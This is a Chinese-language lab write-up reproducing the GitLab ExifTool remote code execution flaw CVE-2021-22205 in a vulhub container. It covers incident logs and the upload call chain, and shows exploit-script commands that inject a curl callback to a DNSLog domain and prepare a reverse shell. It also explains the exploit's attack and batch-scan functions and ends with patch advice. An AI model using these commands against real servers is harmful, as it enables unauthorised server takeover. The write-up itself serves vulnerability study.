【漏洞复现】4. Gitlab exiftool远程命令执行漏洞(CVE-2021-22205)复现与分析
Gitlab是由Gitlab Inc.开发,基于网络的GIt仓库管理工具,且具有wiki和issue跟踪功能,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务,通过Web界面进行访问公开的或私人的项目。2021年4月5日,GitLab官方发布安全更新修复了此GitLab命令执行漏洞(CVE-2021-22205)。
文章目录
1. 预备知识
GitLab是一个基于Web的Git仓库管理工具,它提供了完整的DevOps平台,集成了代码托管、持续集成/持续部署(CI/CD)、项目管理和协作等功能。作为一个中间件,GitLab提供了以下关键特性:
- 代码托管:GitLab提供了强大的代码仓库管理功能,支持Git版本控制系统。开发者可以将代码存储在GitLab的仓库中,并使用Git的强大功能进行版本控制、分支管理和合并请求等操作。GitLab还支持团队协作,允许多个开发者同时工作并合并代码。
- CI/CD:GitLab内置了全面的持续集成和持续部署功能。通过配置CI/CD管道,开发者可以自动化构建、测试和部署他们的应用程序。GitLab提供了丰富的构建工具和集成测试框架,同时支持多个环境的自动化部署,以确保应用程序的质量和稳定性。
- 项目管理:GitLab提供了一套完整的项目管理工具,包括问题跟踪、需求管理和项目看板等。开发者可以创建问题、分配任务、设置优先级,并与团队成员进行协作。GitLab的项目管理功能使团队能够更好地组织和追踪项目进展,提高开发效率。
- 安全性:GitLab重视应用程序的安全性,提供了多个安全功能和工具。它支持静态代码分析、代码扫描和漏洞检测,帮助开发者发现和修复潜在的安全漏洞。此外,GitLab还提供了访问控制、权限管理和单点登录等功能,以确保代码和项目的安全性。
- 社区支持:GitLab是一个开源的软件,拥有庞大的用户和开发者社区。社区成员共享经验、提供支持和贡献代码,使GitLab能够不断发展和改进。开发者可以从社区中获取帮助、学习最佳实践,并参与开源项目的贡献。
GitLab作为一个综合的DevOps平台,通过集成多个功能和工具,使团队能够在一个统一的环境中进行代码管理、持续集成和部署、项目协作和安全管理。它提供了易于使用、高度可定制和可扩展的特性,使开发者能够更加高效地构建、测试和交付优质的软件。
2. 漏洞复现
2.1 漏洞介绍
2.1.1 简介
Gitlab是由Gitlab Inc.开发,基于网络的GIt仓库管理工具,且具有wiki和issue跟踪功能,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务,通过Web界面进行访问公开的或私人的项目。2021年4月5日,GitLab官方发布安全更新修复了此GitLab命令执行漏洞(CVE-2021-22205)。监测发现Gitlab exiftool远程命令执行漏洞在野利用事件及其新型漏洞利用方式,由于Gitlab某些端点路径无需授权,攻击者可在无需认证的情况下完成图片上传,从而执行任意命令,从而导致服务器被接管等。
2.1.2 事件过程
在2021年6月至7月间,两名用户注册了看似随机的用户名,如下图所示:
这种随机用户名是可能存在的,因为该GitLab CE版本默认允许用户进行注册。此外,在默认情况下注册阶段不会验证邮箱地址,因此新建用户在无需任何后续步骤的情况下可自动登录,另外也不会向管理员发送任何通知。
几天后,攻击者登录到GitLab服务器,这两个新建用户显然未执行其他任何操作,因此,研究人员决定调查攻击者如何将权限提升至管理员。于是研究员从如下日志文件中找到了利用步骤的第一批踪迹:
/var/log/gitlab/nginx/gitlab-access.log
/var/log/gitlab/nginx/access.log
攻击者执行的操作如下:
- 用户注册与登录:
"GET /users/sign_up HTTP/1.1" 302 122 "" "python-requests/2.25.1"
"GET /users/sign_in HTTP/1.1" 200 4042 "" "python-requests/2.25.1"
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1"
"POST /users HTTP/1.1" 302 113 "" "python-requests/2.25.1"
"GET /dashboard/projects HTTP/1.1" 200 8185 "" "python-requests/2.25.1"
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1"
"POST /users/sign_in HTTP/1.1" 302 95 "" "python-requests/2.25.1"
"GET / HTTP/1.1" 200 8068 "" "python-requests/2.25.1"
- 滥用Gitlab API,列出所有项目(包括私密项目在内)
"GET /api/v4/projects/?simple=yes&private=true&per_page=1000&page=1 HTTP/1.1" 200 2760 "" "python-requests/2.25.1"
- 为清单中的第一个项目列出问题,随后上传相关附件。
"GET /user/project HTTP/1.1" 200 13567 "" "python-requests/2.25.1"
"GET /user/project/issues/new HTTP/1.1" 200 10317 "" "python-requests/2.25.1"
"POST /user/project/uploads HTTP/1.1" 422 24 "https://git.victim/user/project/issues/new" "python-requests/2.25.1"
以上为全部内容,攻击者并未执行其他操作。
但其中附件上传引起研究人员的注意,因此在实验室中设置了一个Gitlab服务器,试图复现在野观察到的。该漏洞位于用于删除图像中元数据的开源工具ExifTool中,由于未能解析嵌入在所上传图像中的某些元数据,因此导致代码执行后果。
根据目前FOFA系统最新数据(一年内数据),显示全球范围内(app="GitLab")共有 227,005 个相关服务对外开放。中国使用数量最多,共有 70,455 个;美国第二,共有 32,388 个;德国第三,共有 29,395 个;法国第四,共有 13,283 个;俄罗斯第五,共有 8,988 个。
2.2 漏洞原理分析
参考下图,用户上传的文件首先由workhorse模块处理,然后交给rails模块。workhorse模块在处理文件的时候,调用了exifTool。
参考文档中的研究员发现,只需要获取登陆界面可以获得的csrf-token,就可以未授权地访问/uploads/user接口,上传文件给workhorse,调用exifTool。在13.10版本中,可以看到调用了exifTool:
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upload/exif/exif.go
这个函数名称为startProcessing,被同一个文件里面的newCleaner函数调用
全局搜索NewCleaner,可以看到在https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upload/rewrite.go里面调用了这个NewCleaner,调用链为rewriteFormFilesFromMultipart--handleFilePart--handleExifUpload–NewCleaner
然后又在https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upload/uploads.go里面被HandleFileUploads调用:
然后从入口反过来寻找调用链。全局搜索上传接口/uploads/user,可以在这个文件里面找到https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upstream/routes.go被路由到了upload.accelerate
最后在
https://gitlab.com/gitlab-org/gitlab/-/blob/v13.10.0-ee/workhorse/internal/upload/accelerate.go调用了HandlerFileUploads,触发文件处理
2.3 漏洞复现
2.3.1 靶场搭建
vulhub已安装完毕,进入相应文件夹启动漏洞环境即可。
cd vulhub
cd gitlab
这样既可进入gitlab文件夹
随后ls命令列出gitlab中所有漏洞环境,最后选择对应漏洞并启动。
cd CVE-2021-22205
docker-compose build
docker-compose up -d
访问localhost:8080可得知相应环境搭建好了。
2.3.2 漏洞测试
使用vulhub提供的poc.py脚本来测试漏洞,在/tmp路径下创建一个yzq666文件:python poc.py http://192.168.71.128:8080 "youch /tmp/yzq666"
回到服务器端进入容器中查看,docker exec -it 29e43932ee32 /bin/bash,可以看到yzq666文件创建成功,说明当前环境存在Gitlab任意代码执行漏洞。
2.3.3 漏洞利用
访问获取对应漏洞的exp,使用https://github.com/Al1ex/CVE-2021-22205的exp检查对应漏洞是否存在:python CVE-2021-22205.py -v true -t http://192.168.71.128:8080。可以看到结果检查到目标存在漏洞,与我们刚刚验证的结果相同。
使用脚本在服务器容器内创建sh文件,并写入nc反弹shell命令。此处由于本机无法响应,故在DNSLog网站上获取了子域名进行执行结果的的检查:python2 CVE-2021-22205.py -a true -t http://192.168.71.128:8080/ -c “curl 0d7f7db5.ipv6.1433.eu.org.”
访问DNS’Log网站可以看到执行结果,获取到了相应的解析信息:
然后再次查看目标机容器可以看到shell.sh文件成功写入:
修改shell.sh权限使其可执行:`python CVE-2021-22205.py -a true -t http://192.168.71.128:8080/ -c "chmod +x /tmp/shell.sh"`
在攻击机Kali上开启nc监听,使用脚本在目标机上执行shell.sh文件:
可以观察到反弹shell成功
2.3.4 POC分析
如下check函数的功能是检查目标网站是否存在一个漏洞,该漏洞允许攻击者通过上传一个恶意的DJVU文件来执行任意命令。函数的步骤如下:
-
创建一个requests.Session对象,用于发送HTTP请求
-
尝试访问目标网站的/users/sign_in页面,并关闭SSL验证
-
使用BeautifulSoup解析响应的HTML文本,提取第17个meta标签的content属性
-
定义一个data变量,它是一个多部分表单数据,其中包含一个名为file的字段,其值是一个恶意的DJVU文件,该文件在metadata段中包含了一条curl命令,用于向攻击者的域名发送当前用户的用户名
-
定义一个headers变量,它是一个字典,包含了一些HTTP请求头,如User-Agent, Content-Type, X-CSRF-Token等
-
定义一个flag变量,它是一个字符串,表示上传失败的提示信息
-
使用session.post方法向目标网站的/uploads/user页面发送一个POST请求,携带data和headers,并关闭SSL验证
-
如果响应的文本中包含flag变量的值,说明目标网站存在漏洞,并打印出相应的信息,否则,说明目标网站不存在漏洞,并打印出相应的信息
attack函数的功能是利用目标网站存在的漏洞,向其上传一个恶意的DJVU文件,从而执行任意命令。函数的步骤如下: -
创建一个requests.Session对象,用于发送HTTP请求
-
尝试访问目标网站的/users/sign_in页面,并关闭SSL验证
-
使用BeautifulSoup解析响应的HTML文本,提取第17个meta标签的content属性,这是一个CSRF令牌
-
定义一个data变量,它是一个多部分表单数据,其中包含一个名为file的字段,其值是一个恶意的DJVU文件,该文件在metadata段中包含了一条由参数command指定的任意命令
-
定义一个headers变量,它是一个字典,包含了一些HTTP请求头,如User-Agent, Content-Type, X-CSRF-Token等
-
定义一个flag变量,它是一个字符串,表示上传失败的提示信息
-
使用session.post方法向目标网站的/uploads/user页面发送一个POST请求,携带data和headers,并关闭SSL验证
-
如果响应的文本中包含flag变量的值,说明目标网站存在漏洞,并打印出相应的信息,并提示用户到dnslog或主机检查执行结果
-
否则,说明目标网站不存在漏洞,并打印出相应的信息
-
如果在执行过程中发生任何异常,打印出异常信息
scan函数的功能是从一个文件中读取每一行作为一个网址,然后对每个网址进行格式化处理,最后调用check函数来检查网址是否存在漏洞。函数的步骤如下: -
打开一个文件,以只读模式和utf-8编码
-
遍历文件中的每一行,如果行不为空,去掉行首尾的空白字符
-
调用format_url函数,对行进行格式化处理,返回一个规范的网址
-
调用check函数,传入网址作为参数,检查网址是否存在漏洞
format_url函数的功能是对一个网址进行格式化处理,使其以https开头,并去掉首尾的空白字符。函数的步骤如下:如果网址的前四个字符不是http,说明网址没有指定协议,那么在网址前面加上https,网址去掉首尾的空白字符并返回格式化后的网址,如果在执行过程中发生任何异常,打印出异常信息和网址。
主函数的功能是根据用户输入的参数,选择不同的模式来执行GitLab < 13.10.3 RCE漏洞的检测或利用。函数的解释如下:
创建一个argparse.ArgumentParser对象,用于解析命令行参数,设置描述为’GitLab < 13.10.3 RCE’,添加-v或–verify参数,类型为bool,表示是否选择验证模式,- 添加-t或–target参数,类型为str,表示目标网址,添加-a或–attack参数,类型为bool,表示是否选择攻击模式,添加-c或–command参数,类型为str,表示要执行的命令, 添加-s或–scan参数,类型为bool,表示是否选择批量模式,添加-f或–file参数,类型为str,表示要扫描的文件路径,然后调用parser.parse_args方法,返回一个包含所有参数值的对象,将对象中的各个参数值赋给对应的变量。如果用户选择了验证模式,并且提供了目标网址,调用check函数来检查目标网址是否存在漏洞;如果用户选择了攻击模式,并且提供了目标网址和命令,调用attack函数来利用漏洞执行命令;如果用户选择了批量模式,并且提供了文件路径,调用scan函数来从文件中读取每个网址并检查漏洞;否则,退出程序。
2.4 漏洞修复
- 设置Gitlab仅对可信地址开放
- 升级至安全版本,Gitlab(CE/EE) 13.8.8/13.9.6/13.10.3
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)